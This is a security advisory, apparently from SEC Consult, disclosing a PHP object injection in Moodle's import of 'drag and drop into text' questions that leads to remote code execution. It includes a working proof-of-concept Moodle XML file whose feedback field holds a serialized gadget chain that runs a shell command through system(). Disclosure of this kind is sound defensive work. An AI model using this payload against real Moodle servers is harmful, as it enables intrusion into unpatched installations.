Vendor Description
“Moodle is a learning platform designed to provide educators, administrators and learners with a single robust, secure and integrated system to create personalised learning environments. Powering tens of thousands of learning environments globally, Moodle is trusted by institutions and organisations large and small, including Shell, London School of Economics, State University of New York, Microsoft and the Open University. Moodle’s worldwide numbers of more than 90 million users across both academic and enterprise level usage makes it the world’s most widely used learning platform.”
Source: https://moodle.org/about
Business Recommendation
The vendor provides a patch which should be installed immediately.
SEC Consult recommends to perform a thorough security review conducted by security professionals to identify and resolve all security issues.
Vulnerability Overview / Description
1) Remote Code Execution via PHP unserialize
When importing a “drag and drop into text” (ddwtos) question in the legacy Moodle XML format, the passed feedback answer is used unsanitized in an unserialize() function, which leads to a PHP Object Injection vulnerability. By providing a sophisticated PHP Object chain it is possible to leverage the POI into a fully-blown arbitrary Remote Code Execution (RCE).
To exploit this vulnerability an attacker needs permissions to create a quiz or at least be able to import questions. A user of the role teacher usually has these permissions. However, students can also be assigned to the role teacher for a specific course.
Proof Of Concept
1) Remote Code Execution via PHP unserialize
In order to exploit this issue an attacker has to open Moodle’s question bank for a specific course and import the following Moodle XML file. The answer feedback contains a sophisticated PHP object chain which only contains objects from Moodles library. After the parsing process the command “echo ‘whoami'” is being executed.
<?xml version="1.0" encoding="UTF-8"?> <quiz> <question type="ddwtos"> <name> <text>question name</text> </name> <questiontext format="html"> <text><![CDATA[<p>How is the weather?<br></p>]]></text> </questiontext> <answer fraction="100"> <feedback format="html"> <text> O:15:"\\core\\lock\\lock":2:{s:3:"key";O:23:"\\core_availability\\tree":1:{s:8:"children";O:24:"\\core\\dml\\recordset_walk":2:{s:8:"callback";s:6:"system";s:9:"recordset";O:25:"question_attempt_iterator":2: {s:4:"quba";O:26:"question_usage_by_activity":1:{s:16:"questionattempts";a:1:{s:4:"1337";s:13:"echo `whoami`";}}s:5:"slots";a:1:{i:0;i:1337;}}}}s:8:"infinite";i:1;} </text> </feedback> </answer> </question> </quiz>
Vulnerable / Tested Versions
The following version has been tested which was the most recent one at the time of the test:
- 3.5.1+
According to the vendor, all previous versions are affected as well:
- 3.5 to 3.5.1
- 3.4 to 3.4.4
- 3.1 to 3.1.13 and earlier unsupported versions